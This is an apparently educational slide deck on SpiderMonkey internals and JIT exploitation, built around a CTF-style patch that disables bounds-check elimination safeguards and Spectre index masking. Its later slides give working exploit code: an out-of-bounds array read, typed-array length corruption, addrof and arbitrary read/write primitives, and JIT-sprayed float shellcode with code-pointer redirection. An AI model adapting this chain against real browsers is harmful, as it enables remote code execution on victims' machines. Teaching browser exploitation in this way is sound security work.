## Introduction to SpiderMonkey exploitation
ju256
22.06.2023
---
## SpiderMonkey
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/d8365847-5ad8-4f7e-8b3e-fc37201f5a58.png" width=100 height=100/>
* Firefox JavaScript (+ WebAssembly) runtime
* [Open source](https://github.com/mozilla/gecko-dev/tree/master/js/src)
* Bytecode interpreter + baseline compiler + optimizing compiler
---
## JavaScript execution in SpiderMonkey
<img style="background:none; border:none; box-shadow:none;" src="https://mathiasbynens.be/_img/js-engines/interpreter-optimizing-compiler-spidermonkey.svg" width=1000 height=530/>
---
## Hot functions, feedback and tier-ups
```javascript
function foo(o) {
return o.a * 10;
}
foo({a: 5}); // => 50
```
Do we want to create highly optimized code directly?
---
```javascript
function foo(o) {
return o.a * 10;
}
foo({a: 5}); // => 50
```
Do we want to create highly optimized code directly?
**No**, JIT compilation is expensive
---
How about now?
```javascript
function foo(o) {
return o.a * 10;
}
for (let i = 0; i < 10000; i++) {
foo({a: i});
}
```
---
* Repeated execution => Function gets hot!
* Lower execution times outweigh compile time
* Hot functions will be elevated to next tier
* Bytecode -> Baseline JIT
* Baseline JIT -> Optimizing JIT
---
* JavaScript has virtually no types
* Optimizations without type information?
---
## Feedback to the rescue!
* Every bytecode instruction collects type information of their operands during execution
* This is called feedback and will be relied on to create highly optimized code!
---
* Parameter *o* is an object with structure {a: INT} in previous executions
* Spidermonkey assumes that this will also be the case in future executions
```javascript
function foo(o) {
return o.a * 10;
}
for (let i = 0; i < 10000; i++) {
foo({a: i}); // shape: {a: INT}
}
```
* Optimized code looks very different for the same operation on integers vs. strings for example
---
What happens if those assumptions are broken?
```javascript
function foo(o) {
return o.a * 10;
}
for (let i = 0; i < 10000; i++) {
foo({a: i});
}
foo({a: "asdf"});
```
---
```javascript
function foo(o) {
return o.a * 10;
}
for (let i = 0; i < 10000; i++) {
foo({a: i}); // shape: {a: INT}
}
foo({a: "asdf"}); // shape: {a: STRING} | type of a changed
```
* *Structure* or *shape* of *o* stays the same, but type of property *a* changed
* Optimized code is not correct anymore!
---
## Bailouts
```python
mov rax, [rdi+8] # lookup shape of o
cmp rax, <SHAPE>
jne BAILOUT_WRONG_SHAPE
mov rbx, [rax+0x18] # read property a of o
mov rcx, rbx
shr rcx, 47 # extract type
cmp rcx, 1 # JSVAL_TYPE_INT32
jne BAILOUT_NOT_INT
movabs rcx, 0x7fffffffffff # 2**47 - 1
and rbx, rcx # extract value
imul rax, rbx, 10
mov rbx, 1
shl rbx, 47
or rax, rbx # set type information
ret
BAILOUT_WRONG_SHAPE:
BAILOUT_NOT_INT:
jmp BAILOUT_TO_INTERPRETER
```
<p style="font-size: 24px">
Simplified pseudo assembly. The general idea is the same though
</p>
---
## Example execution
```javascript
function foo(o) {
return o.a * 10;
}
for (let i = 0; i < 10000; i++) {
foo({a: i});
}
```
---
## Bytecode
```javascript
loc line op
----- ---- --
main:
00000: 2 GetArg 0 # o
00003: 2 GetProp "a" # o.a
00008: 2 Int8 10 # o.a 10
00010: 2 Mul # (o.a * 10)
00011: 3 Return #
00012: 3 RetRval # !!! UNREACHABLE !!!
```
---
## Graph representation
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/ea859262-d98f-4310-8cfb-c6e8c292e28f.png" width=650 height=550/>
---
## Native code
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/8918b31a-90b0-4528-a03d-f24821c059bf.png" width=900 height=450/>
(We skipped the baseline compiler step)
---
# IonMonkey
* Called WarpMonkey now but still uses a lot of the old IonMonkey code
* Optimizing JIT compiler (highest tier)
* Relies on feedback collected in lower tiers
---
1. Bytecode transformed to *MIR*
(Mid-level Intermediate Representation)
2. Graph creation
3. Run optimization passes
(e.g. Range Analysis, Constant Folding, ...)
4. MIR is lowered to *LIR*
(Low-level Intermediate Representation)
5. Register allocation + code generation
(For more information see [Ion.cpp](https://github.com/mozilla/gecko-dev/blob/master/js/src/jit/Ion.cpp) and [IonAnalysis.cpp](https://github.com/mozilla/gecko-dev/blob/master/js/src/jit/IonAnalysis.cpp))
---
## The challenge
```diff
diff --git a/js/src/jit/IonAnalysis.cpp b/js/src/jit/IonAnalysis.cpp
--- a/js/src/jit/IonAnalysis.cpp
+++ b/js/src/jit/IonAnalysis.cpp
@@ -3768,10 +3768,12 @@ static bool TryEliminateBoundsCheck(Boun
return false;
}
+ /*
if (dominating == dominated) {
// We didn't find a dominating bounds check.
return true;
}
+ */
```
---
```diff
diff --git a/js/src/jit/JitOptions.cpp b/js/src/jit/JitOptions.cpp
--- a/js/src/jit/JitOptions.cpp
+++ b/js/src/jit/JitOptions.cpp
@@ -273,7 +273,7 @@ DefaultJitOptions::DefaultJitOptions() {
SET_DEFAULT(spectreValueMasking, false);
SET_DEFAULT(spectreJitToCxxCalls, false);
#else
- SET_DEFAULT(spectreIndexMasking, true);
+ SET_DEFAULT(spectreIndexMasking, false);
SET_DEFAULT(spectreObjectMitigations, true);
SET_DEFAULT(spectreStringMitigations, true);
SET_DEFAULT(spectreValueMasking, true);
```
We will look at how this works in detail later
---
## Bounds check elimination
* Spidermonkey eliminates bounds checks that are dominated by an equivalent bounds check
<img style="background:none; border:none; box-shadow:none;" src="https://c.m5w.de/uploads/2de8d3c8-a86a-4be1-8aca-5d020ff19bfb.png" width=420 height=500/>
<p style="font-size: 24px">
Assuming no side-effects on the array access or the operations in between
</p>
---
* Range analysis is not considered
* Even though *i* is provably in bounds here, the bounds check will not be removed
```javascript
function foo(i) {
let arr = new Array(20);
arr.fill(0x69);
i = 0;
return arr[i];
}
```
---
## Sidenote: Bounds check Elimination in V8
* More aggressive bounds check elimination in the past
(for example based on range analysis)
* Killed because this was heavily abused to exploit JIT bugs
---
* When no dominating bounds check can be found the elimination should be aborted
* Patch removes this core check
```diff
diff --git a/js/src/jit/IonAnalysis.cpp b/js/src/jit/IonAnalysis.cpp
--- a/js/src/jit/IonAnalysis.cpp
+++ b/js/src/jit/IonAnalysis.cpp
@@ -3768,10 +3768,12 @@ static bool TryEliminateBoundsCheck(Boun
return false;
}
+ /*
if (dominating == dominated) {
// We didn't find a dominating bounds check.
return true;
}
+ */
```
---
```cpp
MBoundsCheck* dominating =
FindDominatingBoundsCheck(checks, dominated, blockIndex);
/*
if (dominating == dominated) {
// We didn't find a dominating bounds check.
return true;
}
*/
```
The following index and length checks are passed
```cpp
if (dominating->length() != dominated->length()) {
return true;
}
SimpleLinearSum sumA = ExtractLinearSum(dominating->index());
SimpleLinearSum sumB = ExtractLinearSum(dominated->index());
if (sumA.term != sumB.term) {
return true;
}
```
---
Since the node traversal is done in pre-order, **all** bounds checks will be eliminated 🦀
Even if there is only one bounds check!
---
## Now what?
```javascript
function hax(idx) {
let oob = new Array();
for(let i = 0; i < 7; i++) {
oob[i] = 1.1;
}
return oob[idx];
}
for (var i = 0; i < 10000; i++) {
hax(i % 4);
}
for (let i = 10; i < 20; i++) {
console.log(hax(i));
}
/*
0 -> 0x0
1.4853970537e-313 -> 0x700000000
1.1 -> 0x3ff199999999999a
1.1 -> 0x3ff199999999999a
6.9310468361157e-310 -> 0x7f96de338720
0 -> 0x0
1.1 -> 0x3ff199999999999a
1.1 -> 0x3ff199999999999a
1.27319747463e-313 -> 0x600000001
4.64411054590235e-310 -> 0x557d94188d00
*/
```
---
## Original vs patched graph
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/bb897836-f1aa-41aa-b4ca-affe0f4b5cec.png" width=1500 height=550/>
Only the relevant block is shown
---
## spectreMaskIndex
* Mitigation that would prevent us from exploiting this
* Bounds check is eliminated but index masking keeps the index in bounds anyways
```python
index %= length
array[index]
```
* Originally introduced as a spectre mitigation
* Most spectre mitigations have been removed by now
* ~~Index masking stayed~~ (2024 update: spectreMaskIndex is removed as well now)
---
## Sidenote: Debugging
* Follow the [Firefox build instructions](https://firefox-source-docs.mozilla.org/setup/linux_build.html) and use the following mozconfig options to get a debug build
```
# Only build JS shell
ac_add_options --enable-project=js
# Enable the debugging tools: Assertions, debug only code etc.
ac_add_options --enable-debug
# Logging can be enabled during JIT compilation
ac_add_options --enable-jitspew
```
---
* Logging is mostly controlled with environment variables
* Most importantly *IONFLAGS*
```
IONFLAGS=<options as csv> ./js
IONFLAGS=help List all options
IONFLAGS=mir MIR information
IONFLAGS=codegen Native code generation
IONFLAGS=bailouts Bailouts
IONFLAGS=logs JSON visualization logging
```
* Graph representation of different optimization passes with IONFLAGS=logs and [iongraph](https://github.com/sstangl/iongraph)
---
# Exploitation
First we use the OOB access to get a more convenient OOB primitive
```javascript
function hax(i) {
let oob = new Array();
for(let i = 0; i < 7; i++) {
oob[i] = 0x11111111;
}
let ab1 = new BigUint64Array(4);
ab1.fill(0x66n);
let ab2 = new BigUint64Array(0x10);
ab2.fill(0x77n);
ab2.addrof_slot = ab1;
oob[i] = u2f(0x1337n);
return [ab1, ab2];
}
// Force JIT compilation
function make_overlap() {
let [ab1, ab2] = hax(19);
if (ab1.length != 0x1337) {
throw "length overwrite failed!";
}
return [ab1, ab2];
}
```
---
## Overlap memory layout
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/9b801cdb-7639-4205-be8b-3197e1480a97.png" width=1250 height=650/>
---
## addrof + fakeobj
* General browser exploitation primitives
* addrof(obj) => pointer to obj
* fakeobj(pointer) => object @ pointer
* fakeobj redundant if we have an (arbitrary) read/write
```javascript
var o = {a: 1, b: 2};
var faked = fakeobj(addrof(o));
console.log(faked);
// {a: 1, b: 2}
assert(o === faked);
```
---
## addrof
```javascript
let addrof_overlap = null;
function addrof(o) {
if (addrof_overlap === null) {
addrof_overlap = make_overlap();
}
let [ab1, ab2] = addrof_overlap;
ab2.addrof_slot = o;
return ab1[30] & 0x7fffffffffffn;
}
```
---
## Arbitrary read/write
* Overwrite elements pointer of ab2 with the OOB on ab1
* Accessing index 0 of the ab2 will access our pointer
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/ccc69c43-5c7f-4992-a875-b1619770e986.png" width=1100 height=200/>
---
```javascript
let rw_overlap = null;
function read64(ptr) {
if (rw_overlap === null) {
rw_overlap = make_overlap();
}
// ab1[11] @ ab2.elements_ptr
rw_overlap[0][11] = ptr;
// return ab2[0]
return rw_overlap[1][0];
}
function write64(ptr, value) {
if (rw_overlap === null) {
rw_overlap = make_overlap();
}
rw_overlap[0][11] = ptr;
rw_overlap[1][0] = value;
}
```
---
## RCE
* JIT spraying
* Force JIT compilation of function returning float array
* Encode shellcode in the floats
* IonMonkey places the floats consecutively in JIT code
(executable memory :fire:)
```javascript
// 0x414141414141, 0x414141414141
const shellcode = () => [3.54484805889626e-310, 3.54484805889626e-310];
for (var i = 0; i < 10000; i++) {
shellcode();
}
```
---
## How do we use this?
* shellcode() function object contains code pointer to the JIT region
* Push this code pointer forward to the floats we placed
* Constant offset or search for our code with the arbitary read
* Calling shellcode leads to our shellcode being executed
---
```javascript
var shellcodeAddr = addrof(shellcode);
console.log("shellcode func @ " + hex(shellcodeAddr));
var jitPagePtr = read64(shellcodeAddr + 0x28n);
var jitPage = read64(jitPagePtr);
console.log("shellcode JIT page @ " + hex(jitPage));
// push code pointer forward to hit our shellcode
write64(jitPagePtr, jitPage + 0x170n);
// execute our shellcode
shellcode();
```
---
# Any questions?
<img style="background:none; border:none; box-shadow:none;" src="https://hedgedoc.verydonk.xyz/uploads/c3ff5cdc-f994-498f-a9e0-bbf634115eda.png" width=800 height=300/>
{"title":"Introduction to spidermonkey exploitation","tags":"presentation","type":"slide","slideOptions":{"transition":"fade","width":"65%","height":"80%","margin":0,"minScale":1,"maxScale":1}}